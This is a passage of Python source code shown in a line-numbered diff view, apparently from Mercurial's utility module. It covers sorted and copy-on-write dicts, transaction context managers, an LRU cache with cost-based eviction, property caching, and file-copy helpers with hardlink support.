1258 | 1258 | sortdict([('a', 0), ('a.5', 0.5), ('b', 1)]) |
|
1259 | 1259 | ''' |
|
1260 | 1260 | |
|
1261 | 1261 | def __setitem__(self, key, value): |
|
1262 | 1262 | if key in self: |
|
1263 | 1263 | del self[key] |
|
1264 | 1264 | super(sortdict, self).__setitem__(key, value) |
|
1265 | 1265 | |
|
1266 | 1266 | if pycompat.ispypy: |
|
1267 | 1267 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
1268 | 1268 | def update(self, src): |
|
1269 | 1269 | if isinstance(src, dict): |
|
1270 | 1270 | src = pycompat.iteritems(src) |
|
1271 | 1271 | for k, v in src: |
|
1272 | 1272 | self[k] = v |
|
1273 | 1273 | |
|
1274 | 1274 | def insert(self, position, key, value): |
|
1275 | 1275 | for (i, (k, v)) in enumerate(list(self.items())): |
|
1276 | 1276 | if i == position: |
|
1277 | 1277 | self[key] = value |
|
1278 | 1278 | if i >= position: |
|
1279 | 1279 | del self[k] |
|
1280 | 1280 | self[k] = v |
|
1281 | 1281 | |
|
1282 | 1282 | |
|
1283 | 1283 | class cowdict(cow, dict): |
|
1284 | 1284 | """copy-on-write dict |
|
1285 | 1285 | |
|
1286 | 1286 | Be sure to call d = d.preparewrite() before writing to d. |
|
1287 | 1287 | |
|
1288 | 1288 | >>> a = cowdict() |
|
1289 | 1289 | >>> a is a.preparewrite() |
|
1290 | 1290 | True |
|
1291 | 1291 | >>> b = a.copy() |
|
1292 | 1292 | >>> b is a |
|
1293 | 1293 | True |
|
1294 | 1294 | >>> c = b.copy() |
|
1295 | 1295 | >>> c is a |
|
1296 | 1296 | True |
|
1297 | 1297 | >>> a = a.preparewrite() |
|
1298 | 1298 | >>> b is a |
|
1299 | 1299 | False |
|
1300 | 1300 | >>> a is a.preparewrite() |
|
1301 | 1301 | True |
|
1302 | 1302 | >>> c = c.preparewrite() |
|
1303 | 1303 | >>> b is c |
|
1304 | 1304 | False |
|
1305 | 1305 | >>> b is b.preparewrite() |
|
1306 | 1306 | True |
|
1307 | 1307 | """ |
|
1308 | 1308 | |
|
1309 | 1309 | |
|
1310 | 1310 | class cowsortdict(cow, sortdict): |
|
1311 | 1311 | """copy-on-write sortdict |
|
1312 | 1312 | |
|
1313 | 1313 | Be sure to call d = d.preparewrite() before writing to d. |
|
1314 | 1314 | """ |
|
1315 | 1315 | |
|
1316 | 1316 | |
|
1317 | 1317 | class transactional(object): # pytype: disable=ignored-metaclass |
|
1318 | 1318 | """Base class for making a transactional type into a context manager.""" |
|
1319 | 1319 | |
|
1320 | 1320 | __metaclass__ = abc.ABCMeta |
|
1321 | 1321 | |
|
1322 | 1322 | @abc.abstractmethod |
|
1323 | 1323 | def close(self): |
|
1324 | 1324 | """Successfully closes the transaction.""" |
|
1325 | 1325 | |
|
1326 | 1326 | @abc.abstractmethod |
|
1327 | 1327 | def release(self): |
|
1328 | 1328 | """Marks the end of the transaction. |
|
1329 | 1329 | |
|
1330 | 1330 | If the transaction has not been closed, it will be aborted. |
|
1331 | 1331 | """ |
|
1332 | 1332 | |
|
1333 | 1333 | def __enter__(self): |
|
1334 | 1334 | return self |
|
1335 | 1335 | |
|
1336 | 1336 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
1337 | 1337 | try: |
|
1338 | 1338 | if exc_type is None: |
|
1339 | 1339 | self.close() |
|
1340 | 1340 | finally: |
|
1341 | 1341 | self.release() |
|
1342 | 1342 | |
|
1343 | 1343 | |
|
1344 | 1344 | @contextlib.contextmanager |
|
1345 | 1345 | def acceptintervention(tr=None): |
|
1346 | 1346 | """A context manager that closes the transaction on InterventionRequired |
|
1347 | 1347 | |
|
1348 | 1348 | If no transaction was provided, this simply runs the body and returns |
|
1349 | 1349 | """ |
|
1350 | 1350 | if not tr: |
|
1351 | 1351 | yield |
|
1352 | 1352 | return |
|
1353 | 1353 | try: |
|
1354 | 1354 | yield |
|
1355 | 1355 | tr.close() |
|
1356 | 1356 | except error.InterventionRequired: |
|
1357 | 1357 | tr.close() |
|
1358 | 1358 | raise |
|
1359 | 1359 | finally: |
|
1360 | 1360 | tr.release() |
|
1361 | 1361 | |
|
1362 | 1362 | |
|
1363 | 1363 | @contextlib.contextmanager |
|
1364 | 1364 | def nullcontextmanager(): |
|
1365 | 1365 | yield |
|
1366 | 1366 | |
|
1367 | 1367 | |
|
1368 | 1368 | class _lrucachenode(object): |
|
1369 | 1369 | """A node in a doubly linked list. |
|
1370 | 1370 | |
|
1371 | 1371 | Holds a reference to nodes on either side as well as a key-value |
|
1372 | 1372 | pair for the dictionary entry. |
|
1373 | 1373 | """ |
|
1374 | 1374 | |
|
1375 | 1375 | __slots__ = ('next', 'prev', 'key', 'value', 'cost') |
|
1376 | 1376 | |
|
1377 | 1377 | def __init__(self): |
|
1378 | 1378 | self.next = None |
|
1379 | 1379 | self.prev = None |
|
1380 | 1380 | |
|
1381 | 1381 | self.key = _notset |
|
1382 | 1382 | self.value = None |
|
1383 | 1383 | self.cost = 0 |
|
1384 | 1384 | |
|
1385 | 1385 | def markempty(self): |
|
1386 | 1386 | """Mark the node as emptied.""" |
|
1387 | 1387 | self.key = _notset |
|
1388 | 1388 | self.value = None |
|
1389 | 1389 | self.cost = 0 |
|
1390 | 1390 | |
|
1391 | 1391 | |
|
1392 | 1392 | class lrucachedict(object): |
|
1393 | 1393 | """Dict that caches most recent accesses and sets. |
|
1394 | 1394 | |
|
1395 | 1395 | The dict consists of an actual backing dict - indexed by original |
|
1396 | 1396 | key - and a doubly linked circular list defining the order of entries in |
|
1397 | 1397 | the cache. |
|
1398 | 1398 | |
|
1399 | 1399 | The head node is the newest entry in the cache. If the cache is full, |
|
1400 | 1400 | we recycle head.prev and make it the new head. Cache accesses result in |
|
1401 | 1401 | the node being moved to before the existing head and being marked as the |
|
1402 | 1402 | new head node. |
|
1403 | 1403 | |
|
1404 | 1404 | Items in the cache can be inserted with an optional "cost" value. This is |
|
1405 | 1405 | simply an integer that is specified by the caller. The cache can be queried |
|
1406 | 1406 | for the total cost of all items presently in the cache. |
|
1407 | 1407 | |
|
1408 | 1408 | The cache can also define a maximum cost. If a cache insertion would |
|
1409 | 1409 | cause the total cost of the cache to go beyond the maximum cost limit, |
|
1410 | 1410 | nodes will be evicted to make room for the new code. This can be used |
|
1411 | 1411 | to e.g. set a max memory limit and associate an estimated bytes size |
|
1412 | 1412 | cost to each item in the cache. By default, no maximum cost is enforced. |
|
1413 | 1413 | """ |
|
1414 | 1414 | |
|
1415 | 1415 | def __init__(self, max, maxcost=0): |
|
1416 | 1416 | self._cache = {} |
|
1417 | 1417 | |
|
1418 | 1418 | self._head = head = _lrucachenode() |
|
1419 | 1419 | head.prev = head |
|
1420 | 1420 | head.next = head |
|
1421 | 1421 | self._size = 1 |
|
1422 | 1422 | self.capacity = max |
|
1423 | 1423 | self.totalcost = 0 |
|
1424 | 1424 | self.maxcost = maxcost |
|
1425 | 1425 | |
|
1426 | 1426 | def __len__(self): |
|
1427 | 1427 | return len(self._cache) |
|
1428 | 1428 | |
|
1429 | 1429 | def __contains__(self, k): |
|
1430 | 1430 | return k in self._cache |
|
1431 | 1431 | |
|
1432 | 1432 | def __iter__(self): |
|
1433 | 1433 | # We don't have to iterate in cache order, but why not. |
|
1434 | 1434 | n = self._head |
|
1435 | 1435 | for i in range(len(self._cache)): |
|
1436 | 1436 | yield n.key |
|
1437 | 1437 | n = n.next |
|
1438 | 1438 | |
|
1439 | 1439 | def __getitem__(self, k): |
|
1440 | 1440 | node = self._cache[k] |
|
1441 | 1441 | self._movetohead(node) |
|
1442 | 1442 | return node.value |
|
1443 | 1443 | |
|
1444 | 1444 | def insert(self, k, v, cost=0): |
|
1445 | 1445 | """Insert a new item in the cache with optional cost value.""" |
|
1446 | 1446 | node = self._cache.get(k) |
|
1447 | 1447 | # Replace existing value and mark as newest. |
|
1448 | 1448 | if node is not None: |
|
1449 | 1449 | self.totalcost -= node.cost |
|
1450 | 1450 | node.value = v |
|
1451 | 1451 | node.cost = cost |
|
1452 | 1452 | self.totalcost += cost |
|
1453 | 1453 | self._movetohead(node) |
|
1454 | 1454 | |
|
1455 | 1455 | if self.maxcost: |
|
1456 | 1456 | self._enforcecostlimit() |
|
1457 | 1457 | |
|
1458 | 1458 | return |
|
1459 | 1459 | |
|
1460 | 1460 | if self._size < self.capacity: |
|
1461 | 1461 | node = self._addcapacity() |
|
1462 | 1462 | else: |
|
1463 | 1463 | # Grab the last/oldest item. |
|
1464 | 1464 | node = self._head.prev |
|
1465 | 1465 | |
|
1466 | 1466 | # At capacity. Kill the old entry. |
|
1467 | 1467 | if node.key is not _notset: |
|
1468 | 1468 | self.totalcost -= node.cost |
|
1469 | 1469 | del self._cache[node.key] |
|
1470 | 1470 | |
|
1471 | 1471 | node.key = k |
|
1472 | 1472 | node.value = v |
|
1473 | 1473 | node.cost = cost |
|
1474 | 1474 | self.totalcost += cost |
|
1475 | 1475 | self._cache[k] = node |
|
1476 | 1476 | # And mark it as newest entry. No need to adjust order since it |
|
1477 | 1477 | # is already self._head.prev. |
|
1478 | 1478 | self._head = node |
|
1479 | 1479 | |
|
1480 | 1480 | if self.maxcost: |
|
1481 | 1481 | self._enforcecostlimit() |
|
1482 | 1482 | |
|
1483 | 1483 | def __setitem__(self, k, v): |
|
1484 | 1484 | self.insert(k, v) |
|
1485 | 1485 | |
|
1486 | 1486 | def __delitem__(self, k): |
|
1487 | 1487 | self.pop(k) |
|
1488 | 1488 | |
|
1489 | 1489 | def pop(self, k, default=_notset): |
|
1490 | 1490 | try: |
|
1491 | 1491 | node = self._cache.pop(k) |
|
1492 | 1492 | except KeyError: |
|
1493 | 1493 | if default is _notset: |
|
1494 | 1494 | raise |
|
1495 | 1495 | return default |
|
1496 | 1496 | |
|
1497 | 1497 | assert node is not None # help pytype |
|
1498 | 1498 | value = node.value |
|
1499 | 1499 | self.totalcost -= node.cost |
|
1500 | 1500 | node.markempty() |
|
1501 | 1501 | |
|
1502 | 1502 | # Temporarily mark as newest item before re-adjusting head to make |
|
1503 | 1503 | # this node the oldest item. |
|
1504 | 1504 | self._movetohead(node) |
|
1505 | 1505 | self._head = node.next |
|
1506 | 1506 | |
|
1507 | 1507 | return value |
|
1508 | 1508 | |
|
1509 | 1509 | # Additional dict methods. |
|
1510 | 1510 | |
|
1511 | 1511 | def get(self, k, default=None): |
|
1512 | 1512 | try: |
|
1513 | 1513 | return self.__getitem__(k) |
|
1514 | 1514 | except KeyError: |
|
1515 | 1515 | return default |
|
1516 | 1516 | |
|
1517 | 1517 | def peek(self, k, default=_notset): |
|
1518 | 1518 | """Get the specified item without moving it to the head |
|
1519 | 1519 | |
|
1520 | 1520 | Unlike get(), this doesn't mutate the internal state. But be aware |
|
1521 | 1521 | that it doesn't mean peek() is thread safe. |
|
1522 | 1522 | """ |
|
1523 | 1523 | try: |
|
1524 | 1524 | node = self._cache[k] |
|
1525 | 1525 | return node.value |
|
1526 | 1526 | except KeyError: |
|
1527 | 1527 | if default is _notset: |
|
1528 | 1528 | raise |
|
1529 | 1529 | return default |
|
1530 | 1530 | |
|
1531 | 1531 | def clear(self): |
|
1532 | 1532 | n = self._head |
|
1533 | 1533 | while n.key is not _notset: |
|
1534 | 1534 | self.totalcost -= n.cost |
|
1535 | 1535 | n.markempty() |
|
1536 | 1536 | n = n.next |
|
1537 | 1537 | |
|
1538 | 1538 | self._cache.clear() |
|
1539 | 1539 | |
|
1540 | 1540 | def copy(self, capacity=None, maxcost=0): |
|
1541 | 1541 | """Create a new cache as a copy of the current one. |
|
1542 | 1542 | |
|
1543 | 1543 | By default, the new cache has the same capacity as the existing one. |
|
1544 | 1544 | But, the cache capacity can be changed as part of performing the |
|
1545 | 1545 | copy. |
|
1546 | 1546 | |
|
1547 | 1547 | Items in the copy have an insertion/access order matching this |
|
1548 | 1548 | instance. |
|
1549 | 1549 | """ |
|
1550 | 1550 | |
|
1551 | 1551 | capacity = capacity or self.capacity |
|
1552 | 1552 | maxcost = maxcost or self.maxcost |
|
1553 | 1553 | result = lrucachedict(capacity, maxcost=maxcost) |
|
1554 | 1554 | |
|
1555 | 1555 | # We copy entries by iterating in oldest-to-newest order so the copy |
|
1556 | 1556 | # has the correct ordering. |
|
1557 | 1557 | |
|
1558 | 1558 | # Find the first non-empty entry. |
|
1559 | 1559 | n = self._head.prev |
|
1560 | 1560 | while n.key is _notset and n is not self._head: |
|
1561 | 1561 | n = n.prev |
|
1562 | 1562 | |
|
1563 | 1563 | # We could potentially skip the first N items when decreasing capacity. |
|
1564 | 1564 | # But let's keep it simple unless it is a performance problem. |
|
1565 | 1565 | for i in range(len(self._cache)): |
|
1566 | 1566 | result.insert(n.key, n.value, cost=n.cost) |
|
1567 | 1567 | n = n.prev |
|
1568 | 1568 | |
|
1569 | 1569 | return result |
|
1570 | 1570 | |
|
1571 | 1571 | def popoldest(self): |
|
1572 | 1572 | """Remove the oldest item from the cache. |
|
1573 | 1573 | |
|
1574 | 1574 | Returns the (key, value) describing the removed cache entry. |
|
1575 | 1575 | """ |
|
1576 | 1576 | if not self._cache: |
|
1577 | 1577 | return |
|
1578 | 1578 | |
|
1579 | 1579 | # Walk the linked list backwards starting at tail node until we hit |
|
1580 | 1580 | # a non-empty node. |
|
1581 | 1581 | n = self._head.prev |
|
1582 | 1582 | while n.key is _notset: |
|
1583 | 1583 | n = n.prev |
|
1584 | 1584 | |
|
1585 | 1585 | assert n is not None # help pytype |
|
1586 | 1586 | |
|
1587 | 1587 | key, value = n.key, n.value |
|
1588 | 1588 | |
|
1589 | 1589 | # And remove it from the cache and mark it as empty. |
|
1590 | 1590 | del self._cache[n.key] |
|
1591 | 1591 | self.totalcost -= n.cost |
|
1592 | 1592 | n.markempty() |
|
1593 | 1593 | |
|
1594 | 1594 | return key, value |
|
1595 | 1595 | |
|
1596 | 1596 | def _movetohead(self, node): |
|
1597 | 1597 | """Mark a node as the newest, making it the new head. |
|
1598 | 1598 | |
|
1599 | 1599 | When a node is accessed, it becomes the freshest entry in the LRU |
|
1600 | 1600 | list, which is denoted by self._head. |
|
1601 | 1601 | |
|
1602 | 1602 | Visually, let's make ``N`` the new head node (* denotes head): |
|
1603 | 1603 | |
|
1604 | 1604 | previous/oldest <-> head <-> next/next newest |
|
1605 | 1605 | |
|
1606 | 1606 | ----<->--- A* ---<->----- |
|
1607 | 1607 | | | |
|
1608 | 1608 | E <-> D <-> N <-> C <-> B |
|
1609 | 1609 | |
|
1610 | 1610 | To: |
|
1611 | 1611 | |
|
1612 | 1612 | ----<->--- N* ---<->----- |
|
1613 | 1613 | | | |
|
1614 | 1614 | E <-> D <-> C <-> B <-> A |
|
1615 | 1615 | |
|
1616 | 1616 | This requires the following moves: |
|
1617 | 1617 | |
|
1618 | 1618 | C.next = D (node.prev.next = node.next) |
|
1619 | 1619 | D.prev = C (node.next.prev = node.prev) |
|
1620 | 1620 | E.next = N (head.prev.next = node) |
|
1621 | 1621 | N.prev = E (node.prev = head.prev) |
|
1622 | 1622 | N.next = A (node.next = head) |
|
1623 | 1623 | A.prev = N (head.prev = node) |
|
1624 | 1624 | """ |
|
1625 | 1625 | head = self._head |
|
1626 | 1626 | # C.next = D |
|
1627 | 1627 | node.prev.next = node.next |
|
1628 | 1628 | # D.prev = C |
|
1629 | 1629 | node.next.prev = node.prev |
|
1630 | 1630 | # N.prev = E |
|
1631 | 1631 | node.prev = head.prev |
|
1632 | 1632 | # N.next = A |
|
1633 | 1633 | # It is tempting to do just "head" here, however if node is |
|
1634 | 1634 | # adjacent to head, this will do bad things. |
|
1635 | 1635 | node.next = head.prev.next |
|
1636 | 1636 | # E.next = N |
|
1637 | 1637 | node.next.prev = node |
|
1638 | 1638 | # A.prev = N |
|
1639 | 1639 | node.prev.next = node |
|
1640 | 1640 | |
|
1641 | 1641 | self._head = node |
|
1642 | 1642 | |
|
1643 | 1643 | def _addcapacity(self): |
|
1644 | 1644 | """Add a node to the circular linked list. |
|
1645 | 1645 | |
|
1646 | 1646 | The new node is inserted before the head node. |
|
1647 | 1647 | """ |
|
1648 | 1648 | head = self._head |
|
1649 | 1649 | node = _lrucachenode() |
|
1650 | 1650 | head.prev.next = node |
|
1651 | 1651 | node.prev = head.prev |
|
1652 | 1652 | node.next = head |
|
1653 | 1653 | head.prev = node |
|
1654 | 1654 | self._size += 1 |
|
1655 | 1655 | return node |
|
1656 | 1656 | |
|
1657 | 1657 | def _enforcecostlimit(self): |
|
1658 | 1658 | # This should run after an insertion. It should only be called if total |
|
1659 | 1659 | # cost limits are being enforced. |
|
1660 | 1660 | # The most recently inserted node is never evicted. |
|
1661 | 1661 | if len(self) <= 1 or self.totalcost <= self.maxcost: |
|
1662 | 1662 | return |
|
1663 | 1663 | |
|
1664 | 1664 | # This is logically equivalent to calling popoldest() until we |
|
1665 | 1665 | # free up enough cost. We don't do that since popoldest() needs |
|
1666 | 1666 | # to walk the linked list and doing this in a loop would be |
|
1667 | 1667 | # quadratic. So we find the first non-empty node and then |
|
1668 | 1668 | # walk nodes until we free up enough capacity. |
|
1669 | 1669 | # |
|
1670 | 1670 | # If we only removed the minimum number of nodes to free enough |
|
1671 | 1671 | # cost at insert time, chances are high that the next insert would |
|
1672 | 1672 | # also require pruning. This would effectively constitute quadratic |
|
1673 | 1673 | # behavior for insert-heavy workloads. To mitigate this, we set a |
|
1674 | 1674 | # target cost that is a percentage of the max cost. This will tend |
|
1675 | 1675 | # to free more nodes when the high water mark is reached, which |
|
1676 | 1676 | # lowers the chances of needing to prune on the subsequent insert. |
|
1677 | 1677 | targetcost = int(self.maxcost * 0.75) |
|
1678 | 1678 | |
|
1679 | 1679 | n = self._head.prev |
|
1680 | 1680 | while n.key is _notset: |
|
1681 | 1681 | n = n.prev |
|
1682 | 1682 | |
|
1683 | 1683 | while len(self) > 1 and self.totalcost > targetcost: |
|
1684 | 1684 | del self._cache[n.key] |
|
1685 | 1685 | self.totalcost -= n.cost |
|
1686 | 1686 | n.markempty() |
|
1687 | 1687 | n = n.prev |
|
1688 | 1688 | |
|
1689 | 1689 | |
|
1690 | 1690 | def lrucachefunc(func): |
|
1691 | 1691 | '''cache most recent results of function calls''' |
|
1692 | 1692 | cache = {} |
|
1693 | 1693 | order = collections.deque() |
|
1694 | 1694 | if func.__code__.co_argcount == 1: |
|
1695 | 1695 | |
|
1696 | 1696 | def f(arg): |
|
1697 | 1697 | if arg not in cache: |
|
1698 | 1698 | if len(cache) > 20: |
|
1699 | 1699 | del cache[order.popleft()] |
|
1700 | 1700 | cache[arg] = func(arg) |
|
1701 | 1701 | else: |
|
1702 | 1702 | order.remove(arg) |
|
1703 | 1703 | order.append(arg) |
|
1704 | 1704 | return cache[arg] |
|
1705 | 1705 | |
|
1706 | 1706 | else: |
|
1707 | 1707 | |
|
1708 | 1708 | def f(*args): |
|
1709 | 1709 | if args not in cache: |
|
1710 | 1710 | if len(cache) > 20: |
|
1711 | 1711 | del cache[order.popleft()] |
|
1712 | 1712 | cache[args] = func(*args) |
|
1713 | 1713 | else: |
|
1714 | 1714 | order.remove(args) |
|
1715 | 1715 | order.append(args) |
|
1716 | 1716 | return cache[args] |
|
1717 | 1717 | |
|
1718 | 1718 | return f |
|
1719 | 1719 | |
|
1720 | 1720 | |
|
1721 | 1721 | class propertycache(object): |
|
1722 | 1722 | def __init__(self, func): |
|
1723 | 1723 | self.func = func |
|
1724 | 1724 | self.name = func.__name__ |
|
1725 | 1725 | |
|
1726 | 1726 | def __get__(self, obj, type=None): |
|
1727 | 1727 | result = self.func(obj) |
|
1728 | 1728 | self.cachevalue(obj, result) |
|
1729 | 1729 | return result |
|
1730 | 1730 | |
|
1731 | 1731 | def cachevalue(self, obj, value): |
|
1732 | 1732 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
1733 | 1733 | obj.__dict__[self.name] = value |
|
1734 | 1734 | |
|
1735 | 1735 | |
|
1736 | 1736 | def clearcachedproperty(obj, prop): |
|
1737 | 1737 | '''clear a cached property value, if one has been set''' |
|
1738 | 1738 | prop = pycompat.sysstr(prop) |
|
1739 | 1739 | if prop in obj.__dict__: |
|
1740 | 1740 | del obj.__dict__[prop] |
|
1741 | 1741 | |
|
1742 | 1742 | |
|
1743 | 1743 | def increasingchunks(source, min=1024, max=65536): |
|
1744 | 1744 | '''return no less than min bytes per chunk while data remains, |
|
1745 | 1745 | doubling min after each chunk until it reaches max''' |
|
1746 | 1746 | |
|
1747 | 1747 | def log2(x): |
|
1748 | 1748 | if not x: |
|
1749 | 1749 | return 0 |
|
1750 | 1750 | i = 0 |
|
1751 | 1751 | while x: |
|
1752 | 1752 | x >>= 1 |
|
1753 | 1753 | i += 1 |
|
1754 | 1754 | return i - 1 |
|
1755 | 1755 | |
|
1756 | 1756 | buf = [] |
|
1757 | 1757 | blen = 0 |
|
1758 | 1758 | for chunk in source: |
|
1759 | 1759 | buf.append(chunk) |
|
1760 | 1760 | blen += len(chunk) |
|
1761 | 1761 | if blen >= min: |
|
1762 | 1762 | if min < max: |
|
1763 | 1763 | min = min << 1 |
|
1764 | 1764 | nmin = 1 << log2(blen) |
|
1765 | 1765 | if nmin > min: |
|
1766 | 1766 | min = nmin |
|
1767 | 1767 | if min > max: |
|
1768 | 1768 | min = max |
|
1769 | 1769 | yield b''.join(buf) |
|
1770 | 1770 | blen = 0 |
|
1771 | 1771 | buf = [] |
|
1772 | 1772 | if buf: |
|
1773 | 1773 | yield b''.join(buf) |
|
1774 | 1774 | |
|
1775 | 1775 | |
|
1776 | 1776 | def always(fn): |
|
1777 | 1777 | return True |
|
1778 | 1778 | |
|
1779 | 1779 | |
|
1780 | 1780 | def never(fn): |
|
1781 | 1781 | return False |
|
1782 | 1782 | |
|
1783 | 1783 | |
|
1784 | 1784 | def nogc(func): |
|
1785 | 1785 | """disable garbage collector |
|
1786 | 1786 | |
|
1787 | 1787 | Python's garbage collector triggers a GC each time a certain number of |
|
1788 | 1788 | container objects (the number being defined by gc.get_threshold()) are |
|
1789 | 1789 | allocated even when marked not to be tracked by the collector. Tracking has |
|
1790 | 1790 | no effect on when GCs are triggered, only on what objects the GC looks |
|
1791 | 1791 | into. As a workaround, disable GC while building complex (huge) |
|
1792 | 1792 | containers. |
|
1793 | 1793 | |
|
1794 | 1794 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
1795 | 1795 | CPython's performance. |
|
1796 | 1796 | """ |
|
1797 | 1797 | |
|
1798 | 1798 | def wrapper(*args, **kwargs): |
|
1799 | 1799 | gcenabled = gc.isenabled() |
|
1800 | 1800 | gc.disable() |
|
1801 | 1801 | try: |
|
1802 | 1802 | return func(*args, **kwargs) |
|
1803 | 1803 | finally: |
|
1804 | 1804 | if gcenabled: |
|
1805 | 1805 | gc.enable() |
|
1806 | 1806 | |
|
1807 | 1807 | return wrapper |
|
1808 | 1808 | |
|
1809 | 1809 | |
|
1810 | 1810 | if pycompat.ispypy: |
|
1811 | 1811 | # PyPy runs slower with gc disabled |
|
1812 | 1812 | nogc = lambda x: x |
|
1813 | 1813 | |
|
1814 | 1814 | |
|
1815 | 1815 | def pathto(root, n1, n2): |
|
1816 | 1816 | '''return the relative path from one place to another. |
|
1817 | 1817 | root should use os.sep to separate directories |
|
1818 | 1818 | n1 should use os.sep to separate directories |
|
1819 | 1819 | n2 should use "/" to separate directories |
|
1820 | 1820 | returns an os.sep-separated path. |
|
1821 | 1821 | |
|
1822 | 1822 | If n1 is a relative path, it's assumed it's |
|
1823 | 1823 | relative to root. |
|
1824 | 1824 | n2 should always be relative to root. |
|
1825 | 1825 | ''' |
|
1826 | 1826 | if not n1: |
|
1827 | 1827 | return localpath(n2) |
|
1828 | 1828 | if os.path.isabs(n1): |
|
1829 | 1829 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
1830 | 1830 | return os.path.join(root, localpath(n2)) |
|
1831 | 1831 | n2 = b'/'.join((pconvert(root), n2)) |
|
1832 | 1832 | a, b = splitpath(n1), n2.split(b'/') |
|
1833 | 1833 | a.reverse() |
|
1834 | 1834 | b.reverse() |
|
1835 | 1835 | while a and b and a[-1] == b[-1]: |
|
1836 | 1836 | a.pop() |
|
1837 | 1837 | b.pop() |
|
1838 | 1838 | b.reverse() |
|
1839 | 1839 | return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' |
|
1840 | 1840 | |
|
1841 | 1841 | |
|
1842 | 1842 | def checksignature(func): |
|
1843 | 1843 | '''wrap a function with code to check for calling errors''' |
|
1844 | 1844 | |
|
1845 | 1845 | def check(*args, **kwargs): |
|
1846 | 1846 | try: |
|
1847 | 1847 | return func(*args, **kwargs) |
|
1848 | 1848 | except TypeError: |
|
1849 | 1849 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1850 | 1850 | raise error.SignatureError |
|
1851 | 1851 | raise |
|
1852 | 1852 | |
|
1853 | 1853 | return check |
|
1854 | 1854 | |
|
1855 | 1855 | |
|
1856 | 1856 | # a whilelist of known filesystems where hardlink works reliably |
|
1857 | 1857 | _hardlinkfswhitelist = { |
|
1858 | 1858 | b'apfs', |
|
1859 | 1859 | b'btrfs', |
|
1860 | 1860 | b'ext2', |
|
1861 | 1861 | b'ext3', |
|
1862 | 1862 | b'ext4', |
|
1863 | 1863 | b'hfs', |
|
1864 | 1864 | b'jfs', |
|
1865 | 1865 | b'NTFS', |
|
1866 | 1866 | b'reiserfs', |
|
1867 | 1867 | b'tmpfs', |
|
1868 | 1868 | b'ufs', |
|
1869 | 1869 | b'xfs', |
|
1870 | 1870 | b'zfs', |
|
1871 | 1871 | } |
|
1872 | 1872 | |
|
1873 | 1873 | |
|
1874 | 1874 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1875 | 1875 | '''copy a file, preserving mode and optionally other stat info like |
|
1876 | 1876 | atime/mtime |
|
1877 | 1877 | |
|
1878 | 1878 | checkambig argument is used with filestat, and is useful only if |
|
1879 | 1879 | destination file is guarded by any lock (e.g. repo.lock or |
|
1880 | 1880 | repo.wlock). |
|
1881 | 1881 | |
|
1882 | 1882 | copystat and checkambig should be exclusive. |
|
1883 | 1883 | ''' |
|
1884 | 1884 | assert not (copystat and checkambig) |
|
1885 | 1885 | oldstat = None |
|
1886 | 1886 | if os.path.lexists(dest): |
|
1887 | 1887 | if checkambig: |
|
1888 | 1888 | oldstat = checkambig and filestat.frompath(dest) |
|
1889 | 1889 | unlink(dest) |
|
1890 | 1890 | if hardlink: |
|
1891 | 1891 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1892 | 1892 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1893 | 1893 | try: |
|
1894 | 1894 | fstype = getfstype(os.path.dirname(dest)) |
|
1895 | 1895 | except OSError: |
|
1896 | 1896 | fstype = None |
|
1897 | 1897 | if fstype not in _hardlinkfswhitelist: |
|
1898 | 1898 | hardlink = False |
|
1899 | 1899 | if hardlink: |
|
1900 | 1900 | try: |
|
1901 | 1901 | oslink(src, dest) |
|
1902 | 1902 | return |
|
1903 | 1903 | except (IOError, OSError): |
|
1904 | 1904 | pass # fall back to normal copy |
|
1905 | 1905 | if os.path.islink(src): |
|
1906 | 1906 | os.symlink(os.readlink(src), dest) |
|
1907 | 1907 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1908 | 1908 | # for them anyway |
|
1909 | 1909 | else: |
|
1910 | 1910 | try: |
|
1911 | 1911 | shutil.copyfile(src, dest) |
|
1912 | 1912 | if copystat: |
|
1913 | 1913 | # copystat also copies mode |
|
1914 | 1914 | shutil.copystat(src, dest) |
|
1915 | 1915 | else: |
|
1916 | 1916 | shutil.copymode(src, dest) |
|
1917 | 1917 | if oldstat and oldstat.stat: |
|
1918 | 1918 | newstat = filestat.frompath(dest) |
|
1919 | 1919 | if newstat.isambig(oldstat): |
|
1920 | 1920 | # stat of copied file is ambiguous to original one |
|
1921 | 1921 | advanced = ( |
|
1922 | 1922 | oldstat.stat[stat.ST_MTIME] + 1 |
|
1923 | 1923 | ) & 0x7FFFFFFF |
|
1924 | 1924 | os.utime(dest, (advanced, advanced)) |
|
1925 | 1925 | except shutil.Error as inst: |
|
1926 | 1926 | raise error.Abort(stringutil.forcebytestr(inst)) |
|
1927 | 1927 | |
|
1928 | 1928 | |
|
1929 | 1929 | def copyfiles(src, dst, hardlink=None, progress=None): |
|
1930 | 1930 | """Copy a directory tree using hardlinks if possible.""" |
|
1931 | 1931 | num = 0 |
|
1932 | 1932 | |
|
1933 | 1933 | def settopic(): |
|
1934 | 1934 | if progress: |
|
1935 | 1935 | progress.topic = _(b'linking') if hardlink else _(b'copying') |
|
1936 | 1936 | |
|
1937 | 1937 | if os.path.isdir(src): |
|
1938 | 1938 | if hardlink is None: |
|
1939 | 1939 | hardlink = ( |
|
1940 | 1940 | os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev |
|
1941 | 1941 | ) |
|
1942 | 1942 | settopic() |
|
1943 | 1943 | os.mkdir(dst) |
|
1944 | 1944 | for name, kind in listdir(src): |
|
1945 | 1945 | srcname = os.path.join(src, name) |
|
1946 | 1946 | dstname = os.path.join(dst, name) |
|
1947 | 1947 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
|
1948 | 1948 | num += n |
|
1949 | 1949 | else: |
|
1950 | 1950 | if hardlink is None: |
|
1951 | 1951 | hardlink = ( |
|
1952 | 1952 | os.stat(os.path.dirname(src)).st_dev |
|
1953 | 1953 | == os.stat(os.path.dirname(dst)).st_dev |
|
1954 | 1954 | ) |
|
1955 | 1955 | settopic() |
|
1956 | 1956 | |
|
1957 | 1957 | if hardlink: |
|
1958 | 1958 | try: |
|
1959 | 1959 | oslink(src, dst) |
|
